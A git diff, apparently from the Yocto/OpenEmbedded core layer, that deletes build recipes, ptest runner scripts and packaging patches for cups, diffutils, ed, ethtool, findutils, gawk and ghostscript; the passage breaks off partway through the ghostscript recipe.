diff --git a/meta/recipes-extended/cups/cups/volatiles.99_cups b/meta/recipes-extended/cups/cups/volatiles.99_cups
deleted file mode 100644
index cc0e19e4c8..0000000000
--- a/meta/recipes-extended/cups/cups/volatiles.99_cups
+++ /dev/null
@@ -1,2 +0,0 @@
1# <type> <owner> <group> <mode> <path> <linksource>
2d root root 0755 /var/log/cups none
diff --git a/meta/recipes-extended/cups/cups_2.4.14.bb b/meta/recipes-extended/cups/cups_2.4.14.bb
deleted file mode 100644
index 5d5a1dc97f..0000000000
--- a/meta/recipes-extended/cups/cups_2.4.14.bb
+++ /dev/null
@@ -1,5 +0,0 @@
1require cups.inc
2
3LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
4
5SRC_URI[sha256sum] = "660288020dd6f79caf799811c4c1a3207a48689899ac2093959d70a3bdcb7699"
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
deleted file mode 100644
index 194d6e5a1b..0000000000
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ /dev/null
@@ -1,13 +0,0 @@
1SUMMARY = "Diffutils contains tools used for finding differences between files"
2HOMEPAGE = "https://www.gnu.org/software/diffutils/diffutils.html"
3DESCRIPTION = "Diffutils contains the GNU diff, diff3, \
4sdiff, and cmp utilities. These programs are usually \
5used for creating patch files."
6SECTION = "base"
7
8inherit autotools texinfo update-alternatives gettext
9
10ALTERNATIVE:${PN} = "diff cmp"
11ALTERNATIVE_PRIORITY = "100"
12
13BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
deleted file mode 100644
index 32793233f9..0000000000
--- a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
+++ /dev/null
@@ -1,29 +0,0 @@
1From f31395c931bc633206eccfcfaaaa5d15021a3e86 Mon Sep 17 00:00:00 2001
2From: Peiran Hong <peiran.hong@windriver.com>
3Date: Thu, 5 Sep 2019 15:42:22 -0400
4Subject: [PATCH] Skip strip-trailing-cr test case
5
6Skip the test "strip-trailing-cr" since it requires valgrind to
7work, but valgrind is considered too heavy-weight for diffutils
8package.
9
10Upstream-Status: Inappropriate [embedded specific]
11
12Signed-off-by: Peiran Hong <peiran.hong@windriver.com>
13
14---
15 tests/Makefile.am | 1 -
16 1 file changed, 1 deletion(-)
17
18diff --git a/tests/Makefile.am b/tests/Makefile.am
19index 79bacfb..4adb4d7 100644
20--- a/tests/Makefile.am
21+++ b/tests/Makefile.am
22@@ -22,7 +22,6 @@ TESTS = \
23 stdin \
24 strcoll-0-names \
25 filename-quoting \
26- strip-trailing-cr \
27 timezone \
28 colors \
29 y2038-vs-32bit
diff --git a/meta/recipes-extended/diffutils/diffutils/run-ptest b/meta/recipes-extended/diffutils/diffutils/run-ptest
deleted file mode 100644
index ad467d9bd0..0000000000
--- a/meta/recipes-extended/diffutils/diffutils/run-ptest
+++ /dev/null
@@ -1,4 +0,0 @@
1#!/bin/sh
2
3abs_ptestdir=`echo "$(cd "$(dirname "$0")"; pwd)"`
4make -C $abs_ptestdir/tests check-TESTS abs_top_srcdir="$abs_ptestdir"
diff --git a/meta/recipes-extended/diffutils/diffutils_3.12.bb b/meta/recipes-extended/diffutils/diffutils_3.12.bb
deleted file mode 100644
index d00dd772ad..0000000000
--- a/meta/recipes-extended/diffutils/diffutils_3.12.bb
+++ /dev/null
@@ -1,41 +0,0 @@
1LICENSE = "GPL-3.0-or-later"
2LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
3
4require diffutils.inc
5
6SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
7 file://run-ptest \
8 file://0001-Skip-strip-trailing-cr-test-case.patch \
9 "
10
11SRC_URI[sha256sum] = "7c8b7f9fc8609141fdea9cece85249d308624391ff61dedaf528fcb337727dfd"
12
13EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
14EXTRA_OECONF += "gl_cv_func_strcasecmp_works=yes"
15
16# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
17CFLAGS:mingw32 = " -DSA_RESTART=0"
18
19EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'"
20inherit ptest
21
22RDEPENDS:${PN}-ptest += "make perl"
23
24do_install_ptest() {
25 t=${D}${PTEST_PATH}
26 install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
27 cp -r ${S}/tests $t/
28 install ${B}/tests/Makefile $t/tests/
29 sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
30 -e 's|${DEBUG_PREFIX_MAP}||g' \
31 -e 's:${HOSTTOOLS_DIR}/::g' \
32 -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
33 -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
34 -e 's|^Makefile:|_Makefile:|' \
35 -e 's|bash|sh|' \
36 -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
37 -e 's|^srcdir = \(.*\)|srcdir = .|' \
38 -e 's|"`$(built_programs)`"|diff|' \
39 -e 's|gawk|awk|g' \
40 -i $t/tests/Makefile
41}
diff --git a/meta/recipes-extended/ed/ed_1.22.2.bb b/meta/recipes-extended/ed/ed_1.22.2.bb
deleted file mode 100644
index 80d4e116ac..0000000000
--- a/meta/recipes-extended/ed/ed_1.22.2.bb
+++ /dev/null
@@ -1,38 +0,0 @@
1SUMMARY = "Line-oriented text editor"
2HOMEPAGE = "http://www.gnu.org/software/ed/"
3DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
4
5LICENSE = "GPL-2.0-only"
6LIC_FILES_CHKSUM = "file://COPYING;md5=cca7f74ec83b7a9ce7ccd195aad471bd \
7 file://ed.h;endline=20;md5=a24e7f91c0fb83e65a746f5994762a49 \
8 file://main.c;endline=17;md5=fd6ad9f1853f123f4ae7a31d59761f09 \
9 "
10
11SECTION = "base"
12
13CVE_PRODUCT = "gnu:ed"
14
15# LSB states that ed should be in /bin/
16bindir = "${base_bindir}"
17
18# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
19SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
20UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
21
22SRC_URI[sha256sum] = "f58d15242056e15af76f13f34c60d890fa2a2d5cb0abef91c115e4d83794ffe3"
23
24EXTRA_OEMAKE = "-e MAKEFLAGS="
25
26inherit texinfo
27
28do_configure() {
29 ${S}/configure
30}
31
32do_install() {
33 oe_runmake 'DESTDIR=${D}' install
34 # Info dir listing isn't interesting at this point so remove it if it exists.
35 if [ -e "${D}${infodir}/dir" ]; then
36 rm -f ${D}${infodir}/dir
37 fi
38}
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
deleted file mode 100644
index 79232a6b00..0000000000
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ /dev/null
@@ -1,28 +0,0 @@
1From 27757ce1a8956591d22e7f9dc8cef37e37be8e9f Mon Sep 17 00:00:00 2001
2From: Tudor Florea <tudor.florea@enea.com>
3Date: Wed, 28 May 2014 18:59:54 +0200
4Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
5
6ptest needs buildtest-TESTS and runtest-TESTS targets.
7serial-tests is required to generate those targets.
8
9Signed-off-by: Tudor Florea <tudor.florea@enea.com>
10Upstream-Status: Inappropriate
11(default automake behavior incompatible with ptest)
12---
13 configure.ac | 2 +-
14 1 file changed, 1 insertion(+), 1 deletion(-)
15
16diff --git a/configure.ac b/configure.ac
17index f5fdc8b..3eab387 100644
18--- a/configure.ac
19+++ b/configure.ac
20@@ -3,7 +3,7 @@ AC_INIT(ethtool, 6.15, netdev@vger.kernel.org)
21 AC_PREREQ(2.52)
22 AC_CONFIG_MACRO_DIR([m4])
23 AC_CONFIG_SRCDIR([ethtool.c])
24-AM_INIT_AUTOMAKE([gnu subdir-objects])
25+AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests])
26 AC_CONFIG_HEADERS([ethtool-config.h])
27
28 AM_MAINTAINER_MODE
diff --git a/meta/recipes-extended/ethtool/ethtool/run-ptest b/meta/recipes-extended/ethtool/ethtool/run-ptest
deleted file mode 100644
index 1e245da112..0000000000
--- a/meta/recipes-extended/ethtool/ethtool/run-ptest
+++ /dev/null
@@ -1,2 +0,0 @@
1#!/bin/sh
2make -k runtest-TESTS
diff --git a/meta/recipes-extended/ethtool/ethtool_6.15.bb b/meta/recipes-extended/ethtool/ethtool_6.15.bb
deleted file mode 100644
index eb6b272d4a..0000000000
--- a/meta/recipes-extended/ethtool/ethtool_6.15.bb
+++ /dev/null
@@ -1,39 +0,0 @@
1SUMMARY = "Display or change ethernet card settings"
2DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
3HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
4SECTION = "console/network"
5LICENSE = "GPL-2.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
8
9SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
10 file://run-ptest \
11 file://avoid_parallel_tests.patch \
12 "
13
14SRC_URI[sha256sum] = "5d21a75b54c5e617b8ac0fe161e2ef3a75ecdf569ab64831474882dd3ece6077"
15
16UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
17
18inherit autotools ptest bash-completion pkgconfig
19
20RDEPENDS:${PN}-ptest += "make bash"
21
22PACKAGECONFIG ?= "netlink"
23PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
24
25FILES:${PN} += "${datadir}/metainfo/org.kernel.software.network.ethtool.metainfo.xml"
26
27do_compile_ptest() {
28 oe_runmake buildtest-TESTS
29}
30
31do_install_ptest () {
32 cp ${B}/Makefile ${D}${PTEST_PATH}
33 install ${B}/test-cmdline ${D}${PTEST_PATH}
34 if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
35 install ${B}/test-features ${D}${PTEST_PATH}
36 fi
37 install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
38 sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
39}
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
deleted file mode 100644
index ddcc05750b..0000000000
--- a/meta/recipes-extended/findutils/findutils.inc
+++ /dev/null
@@ -1,18 +0,0 @@
1SUMMARY = "find, locate, and xargs binaries"
2DESCRIPTION = "The GNU Find Utilities are the basic directory searching utilities of the GNU operating system. \
3These programs are typically used in conjunction with other programs to provide modular and powerful directory \
4search and file locating capabilities to other commands."
5HOMEPAGE = "http://www.gnu.org/software/findutils/"
6BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
7SECTION = "console/utils"
8
9SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
10 file://run-ptest \
11 "
12
13inherit autotools gettext texinfo update-alternatives ptest
14
15ALTERNATIVE:${PN} = "find xargs"
16ALTERNATIVE_PRIORITY = "100"
17
18BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
deleted file mode 100644
index afe004b01a..0000000000
--- a/meta/recipes-extended/findutils/findutils/run-ptest
+++ /dev/null
@@ -1,35 +0,0 @@
1#!/bin/bash
2
3# create temporary symlink to workaround missing oldfind
4ln -s /usr/bin/find /tmp/oldfind
5# make oldfind visible
6export PATH="/tmp:${PATH}"
7
8# Add findutils ptest directory to PATH for getlimits
9export PATH="/usr/lib/findutils/ptest:${PATH}"
10
11export built_programs="find xargs locate updatedb"
12
13# this gets substituted by sed during build
14export VERSION="__run_ptest_version__"
15
16# Force ASCII quotes so exp vs err comparisons are stable across locales.
17export LC_ALL=C
18
19for f in tests/*/*.sh; do
20 bash $f ;
21 case $? in
22 0 )
23 echo -n "PASS";;
24 77 )
25 echo -n "SKIP";;
26 * )
27 echo -n "FAIL";;
28 esac
29 echo ": $f"
30done
31
32#remove symlink
33rm -f /tmp/oldfind
34
35echo
diff --git a/meta/recipes-extended/findutils/findutils_4.10.0.bb b/meta/recipes-extended/findutils/findutils_4.10.0.bb
deleted file mode 100644
index 29ad6c7350..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.10.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
1require findutils.inc
2
3# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32)
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
6
7DEPENDS = "bison-native"
8
9SRC_URI[sha256sum] = "1387e0b67ff247d2abde998f90dfbf70c1491391a59ddfecb8ae698789f0a4f5"
10
11PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
12
13EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
14
15# need od from coreutils for -t option
16RDEPENDS:${PN}-ptest += "bash sed grep coreutils"
17
18do_install_ptest:class-target() {
19 mkdir -p ${D}${PTEST_PATH}/tests/
20 cp ${S}/init.cfg ${D}${PTEST_PATH}
21 cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
22 install -m 755 ${B}/find/getlimits ${D}${PTEST_PATH}/
23
24 # substitute value in run-ptest with actual version
25 sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
26}
diff --git a/meta/recipes-extended/gawk/gawk/0001-configure.ac-re-enable-disabled-printf-features.patch b/meta/recipes-extended/gawk/gawk/0001-configure.ac-re-enable-disabled-printf-features.patch
deleted file mode 100644
index bcbc569531..0000000000
--- a/meta/recipes-extended/gawk/gawk/0001-configure.ac-re-enable-disabled-printf-features.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1From 9ce3184188e3fa275fde0258a165f4446a6e80f7 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Fri, 22 Nov 2024 12:13:58 +0100
4Subject: [PATCH] configure.ac: re-enable disabled printf features
5
6This is needed for ptests to pass for one thing.
7
8Upstream-Status: Inappropriate [needs a config option]
9Signed-off-by: Alexander Kanavin <alex@linutronix.de>
10---
11 configure.ac | 4 ++--
12 1 file changed, 2 insertions(+), 2 deletions(-)
13
14diff --git a/configure.ac b/configure.ac
15index 0ccd460..7df7e5b 100644
16--- a/configure.ac
17+++ b/configure.ac
18@@ -400,7 +400,7 @@ int main()
19 ])],
20 has_f_format=yes,
21 has_f_format=no,
22- has_f_format=no dnl Cross-compiling, assuming the worst.
23+ has_f_format=yes dnl Cross-compiling in oe-core
24 )
25 if test "$has_f_format" = yes
26 then
27@@ -429,7 +429,7 @@ int main()
28 ])],
29 has_a_format=yes,
30 has_a_format=no,
31- has_a_format=no dnl Cross-compiling, assuming the worst.
32+ has_a_format=yes dnl Cross-compiling in oe-core
33 )
34 if test "$has_a_format" = yes
35 then
diff --git a/meta/recipes-extended/gawk/gawk/run-ptest b/meta/recipes-extended/gawk/gawk/run-ptest
deleted file mode 100644
index f4ef3e7bd4..0000000000
--- a/meta/recipes-extended/gawk/gawk/run-ptest
+++ /dev/null
@@ -1,27 +0,0 @@
1#!/bin/sh
2
3cd test
4for i in `grep -E "^[a-z0-9_-]*:$" Maketests |awk -F: '{print $1}'`; do
5 unset LANG
6 grep -q "^$i$" skipped.txt
7 if [ $? -eq 0 ]; then
8 echo "SKIP: $i"
9 continue
10 fi
11 srcdir=`pwd` AWKPROG=gawk AWK=gawk CMP=cmp make -f Maketests $i >$i.tmp 2>&1
12 if [ -e _$i ]; then
13 cat _$i
14 grep -q "support not compiled in" _$i
15 if [ $? -eq 0 ]; then
16 echo "SKIP: $i"
17 continue
18 fi
19 fi
20 grep -q "Error" $i.tmp
21 if [ $? -eq 0 ]; then
22 echo "FAIL: $i"
23 else
24 echo "PASS: $i"
25 rm -f $i.tmp
26 fi
27done
diff --git a/meta/recipes-extended/gawk/gawk_5.3.2.bb b/meta/recipes-extended/gawk/gawk_5.3.2.bb
deleted file mode 100644
index 0448d90ba7..0000000000
--- a/meta/recipes-extended/gawk/gawk_5.3.2.bb
+++ /dev/null
@@ -1,97 +0,0 @@
1SUMMARY = "GNU awk text processing utility"
2DESCRIPTION = "The GNU version of awk, a text processing utility. \
3Awk interprets a special-purpose programming language to do \
4quick and easy text pattern matching and reformatting jobs."
5HOMEPAGE = "https://www.gnu.org/software/gawk/"
6BUGTRACKER = "bug-gawk@gnu.org"
7SECTION = "console/utils"
8
9LICENSE = "GPL-3.0-or-later & AGPL-3.0-or-later"
10LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
11 file://support/pma.c;md5=bb0026ee5e8b950e67d670dd2d60cc93;beginline=8;endline=19 \
12 file://support/pma.h;md5=bb0026ee5e8b950e67d670dd2d60cc93;beginline=8;endline=19"
13
14LICENSE:${PN} = "GPL-3.0-or-later"
15LICENSE:${PN}:append = " ${@bb.utils.contains('PACKAGECONFIG', 'pma-if-64bit', ' & AGPL-3.0-or-later', '', d)}"
16
17PACKAGECONFIG ??= "readline mpfr"
18PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
19PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
20# pma: persistent memory allocator:
21# Disabled by default due to AGPL license.
22# Note that PMA works only for 64-bit targets and is automatically disabled at configure time otherwise.
23PACKAGECONFIG[pma-if-64bit] = "--enable-pma,--disable-pma, "
24
25SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
26 file://run-ptest \
27 file://0001-configure.ac-re-enable-disabled-printf-features.patch \
28 "
29
30SRC_URI[sha256sum] = "8639a1a88fb411a1be02663739d03e902a6d313b5c6fe024d0bfeb3341a19a11"
31
32inherit autotools gettext texinfo update-alternatives
33
34FILES:${PN} += "${datadir}/awk"
35FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
36
37PACKAGES =+ "${PN}-gawkbug"
38FILES:${PN}-gawkbug += "${bindir}/gawkbug"
39
40ALTERNATIVE:${PN} = "awk"
41ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
42ALTERNATIVE_PRIORITY = "100"
43
44do_install:append() {
45 # remove the link since we don't package it
46 rm ${D}${bindir}/awk
47 # Strip non-reproducible build flags (containing build paths)
48 sed -i -e 's|^CC.*|CC=""|g' -e 's|^CFLAGS.*|CFLAGS=""|g' ${D}${bindir}/gawkbug
49}
50
51inherit ptest
52
53do_install_ptest() {
54 mkdir ${D}${PTEST_PATH}/test
55 ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
56 # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy
57 TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests)
58 for i in $TESTS Maketests inclib.awk; do
59 cp ${S}/test/$i* ${D}${PTEST_PATH}/test
60 done
61 sed -i \
62 -e 's|#! /bin/gawk|#! ${bindir}/gawk|g' \
63 -e 's|#! /usr/local/bin/gawk|#! ${bindir}/gawk|g' \
64 -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
65
66 sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
67
68 # These tests require an unloaded host as otherwise timing sensitive tests can fail
69 # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
70 rm -f ${D}${PTEST_PATH}/test/time.*
71 rm -f ${D}${PTEST_PATH}/test/timeout.*
72 for t in time timeout; do
73 echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
74 done
75}
76
77do_install_ptest:append:libc-musl() {
78 # Reported https://lists.gnu.org/archive/html/bug-gawk/2021-02/msg00005.html
79 rm -f ${D}${PTEST_PATH}/test/clos1way6.*
80 # Needs en_US.UTF-8 but then does not work with musl
81 rm -f ${D}${PTEST_PATH}/test/backsmalls1.*
82 # Needs en_US.UTF-8 but then does not work with musl
83 rm -f ${D}${PTEST_PATH}/test/commas.*
84 # The below two need LANG=C inside the make rule for musl
85 rm -f ${D}${PTEST_PATH}/test/rebt8b1.*
86 rm -f ${D}${PTEST_PATH}/test/regx8bit.*
87 for t in clos1way6 backsmalls1 commas rebt8b1 regx8bit; do
88 echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
89 done
90}
91
92RDEPENDS:${PN}-ptest += "make locale-base-en-us coreutils"
93
94RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1"
95RDEPENDS:${PN}-ptest:append:libc-musl = " musl-locales"
96
97BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/ghostscript/0001-Fix-32-bit-build.patch b/meta/recipes-extended/ghostscript/ghostscript/0001-Fix-32-bit-build.patch
deleted file mode 100644
index 8d1e9d46e6..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/0001-Fix-32-bit-build.patch
+++ /dev/null
@@ -1,63 +0,0 @@
1From 3c0be6e4fcffa63e4a5a1b0aec057cebc4d2562f Mon Sep 17 00:00:00 2001
2From: Ken Sharp <Ken.Sharp@artifex.com>
3Date: Wed, 10 Sep 2025 08:55:30 +0100
4Subject: [PATCH] Fix 32-bit build
5
6Bug #708824 "ghostscript 10.06.0 compilation failure on 32-bit archs"
7
8nbytes shiouldn't be an intptr_t, it doesn't get used for pointer
9arithmetic. Previously it was a uint, should be a int64_t, to fit with
10all the other devices.
11
12Checked other warnings, and found a (very minor) one in gdevdbit.c, fix
13that while we're here (signed/unsigned mismatch, we don't really care).
14
15Upstream-Status: Backport [https://github.com/ArtifexSoftware/ghostpdl/commit/3c0be6e4fcffa63e4a5a1b0aec057cebc4d2562f]
16
17Signed-off-by: Vijay Anusuri <vanusuri@mvista.com>
18---
19 base/gdevdbit.c | 2 +-
20 base/gdevmpla.c | 6 +++---
21 2 files changed, 4 insertions(+), 4 deletions(-)
22
23diff --git a/base/gdevdbit.c b/base/gdevdbit.c
24index e07cc3f3b8..1b5c69325b 100644
25--- a/base/gdevdbit.c
26+++ b/base/gdevdbit.c
27@@ -191,7 +191,7 @@ gx_default_copy_alpha_hl_color(gx_device * dev, const byte * data, int data_x,
28 fit_copy(dev, data, data_x, raster, id, x, y, width, height);
29 row_alpha = data;
30 out_raster = bitmap_raster(width * (size_t)byte_depth);
31- if (check_64bit_multiply(out_raster, ncomps, &product) != 0)
32+ if (check_64bit_multiply(out_raster, ncomps, (int64_t *) &product) != 0)
33 return gs_note_error(gs_error_undefinedresult);
34 gb_buff = gs_alloc_bytes(mem, product, "copy_alpha_hl_color(gb_buff)");
35 if (gb_buff == 0) {
36diff --git a/base/gdevmpla.c b/base/gdevmpla.c
37index 2f0d522561..ffc5ff42e6 100644
38--- a/base/gdevmpla.c
39+++ b/base/gdevmpla.c
40@@ -1954,12 +1954,12 @@ mem_planar_strip_copy_rop2(gx_device * dev,
41 int i;
42 int j;
43 intptr_t chunky_sraster;
44- intptr_t nbytes;
45+ int64_t nbytes;
46 byte **line_ptrs;
47 byte *sbuf, *buf;
48
49 chunky_sraster = sraster * (intptr_t)mdev->num_planar_planes;
50- if (check_64bit_multiply(height, chunky_sraster, (size_t *)&nbytes) != 0)
51+ if (check_64bit_multiply(height, chunky_sraster, &nbytes) != 0)
52 return gs_note_error(gs_error_undefinedresult);
53 buf = gs_alloc_bytes(mdev->memory, nbytes, "mem_planar_strip_copy_rop(buf)");
54 if (buf == NULL) {
55@@ -2003,7 +2003,7 @@ mem_planar_strip_copy_rop2(gx_device * dev,
56 intptr_t i;
57 intptr_t chunky_t_raster;
58 int chunky_t_height;
59- intptr_t nbytes;
60+ int64_t nbytes;
61 byte **line_ptrs;
62 byte *tbuf, *buf;
63 gx_strip_bitmap newtex;
diff --git a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
deleted file mode 100644
index d191231c7b..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
+++ /dev/null
@@ -1,29 +0,0 @@
1From 85905ce3b1bc63f0be9eda9888e40d8e7a803d21 Mon Sep 17 00:00:00 2001
2From: Kai Kang <kai.kang@windriver.com>
3Date: Thu, 29 Mar 2018 16:02:05 +0800
4Subject: [PATCH] avoid host contamination
5
6Remove hardcode path refer to host to avoid host contamination.
7
8Upstream-Status: Pending
9Signed-off-by: Kai Kang <kai.kang@windriver.com>
10
11Rebase to 9.23
12Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
13---
14 devices/devs.mak | 2 +-
15 1 file changed, 1 insertion(+), 1 deletion(-)
16
17diff --git a/devices/devs.mak b/devices/devs.mak
18index a5dbc7a..27b55f2 100644
19--- a/devices/devs.mak
20+++ b/devices/devs.mak
21@@ -403,7 +403,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
22 ### NON PORTABLE, ONLY UNIX WITH GCC SUPPORT
23
24 $(DEVOBJ)X11.so : $(x11alt_) $(x11_) $(DEVS_MAK) $(MAKEDIRS)
25- $(CCLD) $(LDFLAGS) -shared -o $(DEVOBJ)X11.so $(x11alt_) $(x11_) -L/usr/X11R6/lib -lXt -lSM -lICE -lXext -lX11 $(XLIBDIRS)
26+ $(CCLD) $(LDFLAGS) -shared -o $(DEVOBJ)X11.so $(x11alt_) $(x11_) -lXt -lSM -lICE -lXext -lX11 $(XLIBDIRS)
27
28 ###### --------------- Memory-buffered printer devices --------------- ######
29
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch
deleted file mode 100644
index 0598c3dcd2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From c23b787f9a38be2cdc57133915c402b69acedd1a Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Mon, 4 May 2015 22:31:48 -0700
4Subject: [PATCH] base/gendev.c: fix for -Werror=return-type
5
6Fixed:
7base/gendev.c:80:1: error: return type defaults to 'int' [-Werror=return-type]
8
9Upstream-Status: Pending
10
11Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
12---
13 base/gendev.c | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/base/gendev.c b/base/gendev.c
17index f36cfe2..031f30b 100644
18--- a/base/gendev.c
19+++ b/base/gendev.c
20@@ -77,6 +77,7 @@ static const char *indent_item = "";
21 /* Forward definitions */
22 void add_entry(config *, const char *, const char *, bool);
23
24+int
25 main(int argc, char *argv[])
26 {
27 config conf;
diff --git a/meta/recipes-extended/ghostscript/ghostscript_10.06.0.bb b/meta/recipes-extended/ghostscript/ghostscript_10.06.0.bb
deleted file mode 100644
index 4cea898432..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_10.06.0.bb
+++ /dev/null
@@ -1,76 +0,0 @@
1SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
2DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
3a back-end to a program such as ghostview, it can display PostScript and PDF \
4documents in an X11 environment. \
5\
6Furthermore, it can render PostScript and PDF files as graphics to be printed \
7on non-PostScript printers. Supported printers include common \
8dot-matrix, inkjet and laser models. \
9"
10HOMEPAGE = "http://www.ghostscript.com"
11SECTION = "console/utils"
12
13LICENSE = "AGPL-3.0-or-later"
14LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
15
16DEPENDS = "tiff jpeg fontconfig cups libpng freetype zlib"
17
18UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
19UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
20
21def gs_verdir(v):
22 return "".join(v.split("."))
23
24SRC_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
25 file://ghostscript-9.16-Werror-return-type.patch \
26 file://avoid-host-contamination.patch \
27 file://0001-Fix-32-bit-build.patch \
28 "
29
30SRC_URI[sha256sum] = "5bd6da34794928cc7e616f288e32bd0be7f9a5ca2d3c206a0af2c19a4e3a318f"
31
32PACKAGECONFIG ??= ""
33PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+3"
34PACKAGECONFIG[libidn] = "--with-libidn,--without-libidn,libidn"
35PACKAGECONFIG[libpaper] = "--with-libpaper,--without-libpaper,libpaper"
36PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
37 --without-x, virtual/libx11 libxext libxt"
38
39EXTRA_OECONF = "--with-jbig2dec \
40 --with-fontpath=${datadir}/fonts \
41 CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
